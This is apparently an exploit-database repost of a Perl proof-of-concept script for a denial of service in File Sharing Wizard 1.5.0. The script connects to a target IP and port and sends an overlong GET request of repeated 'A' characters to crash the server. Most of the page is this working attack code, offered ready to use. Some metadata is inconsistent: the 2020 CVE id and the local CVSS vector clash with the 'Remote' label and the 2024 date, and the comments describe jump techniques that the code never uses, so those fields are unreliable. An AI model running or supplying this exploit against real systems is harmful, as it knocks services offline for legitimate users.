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File Sharing Wizard 1.5.0 - Denied of Service

CVE Category Price Severity
CVE-2020-14903 CWE-400 $500 High
Author Risk Exploitation Type Date
Unknown High Remote 2024-01-07
CVSS
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2024010023

Below is a copy:

File Sharing Wizard 1.5.0 - Denied of Service
, good morning.
How are you?
I'm sharing the creation of an exploit to exploit a denial of service vulnerability in: File Sharing Wizard 1.5.0 - Denial of Service (DoS).

#!/usr/bin/perl
use IO::Socket::INET;
# Exploit Title: File Sharing Wizard 1.5.0 - Denial of Service (DoS)# Discovery by: Fernando Mengali# Discovery Date: 07 january 2024# Vendor Homepage: N/A# Download to demo: https://drive.google.com/file/d/13fs9IHSaGQ27YIQNDyrQV20jCT7owPQ6/view?usp=sharing# Notification vendor: No reported# Tested Version: File Sharing Wizard 1.5.0# Tested on: Window XP Professional - Service Pack 2 and 3 - English# Vulnerability Type: Denial of Service (DoS)# Vdeo: https://drive.google.com/file/d/1gPiMU0Wemdx-rxEzAPhQCyparn1JiX0j/view?usp=sharing
#1. Description
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).#For this exploit I have tried several strategies to increase reliability and performance:#Jump to a static 'call esp'#Backwards jump to code a known distance from the stack pointer.#The server did not properly handle request with large amounts of data via method GET to web server.#The following request sends a large amount of data to the web server to process across method GET, the server will crash as soon as it is received and processed, causing denial of service conditions.#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.
#2. Proof of Concept - PoC
  $sis="$^O";
  if ($sis eq "windows"){   $cmd="cls";  } else {   $cmd="clear";  }
  system("$cmd");    intro();  main();    print "[+] Exploiting... \n";
  my $exploit = "\x41"x1360;
  my $payload_header = "GET " . $exploit;  $payload_header .= " HTTP/1.0\r\n\r\n";
  my $connect = IO::Socket::INET->new(   PeerAddr => $ip,   PeerPort => $port,   Proto  => 'tcp'  ) or die "Unable to connect to the victim: $!\n";
  $connect->send($payload_header);  close $connect;
  print "[+] Done! Exploited!\n";


  print "[+] Done - Exploited success!!!!!\n\n";  sub intro {   print "#################################################################\n";   print "#      File Sharing Wizard 1.5.0 - Denied of Service    #\n";   print "#                                #\n";   print "#        Coded by Fernando Mengali           #\n";   print "#                                #\n";   print "#       e-mail: fernando.mengalli\@gmail.com       #\n";   print "#                                #\n";   print "#################################################################\n"; }
 sub main {
our ($ip, $port) = @ARGV;
   unless (defined($ip) && defined($port)) {
    print "    \nUsage: $0 <ip> <port>         \n";    exit(-1);
   } }
#3. Solution/ How to fix:
# This version product is deprecated

Have a great day and good weekend.

Thanks very much.
Regards,

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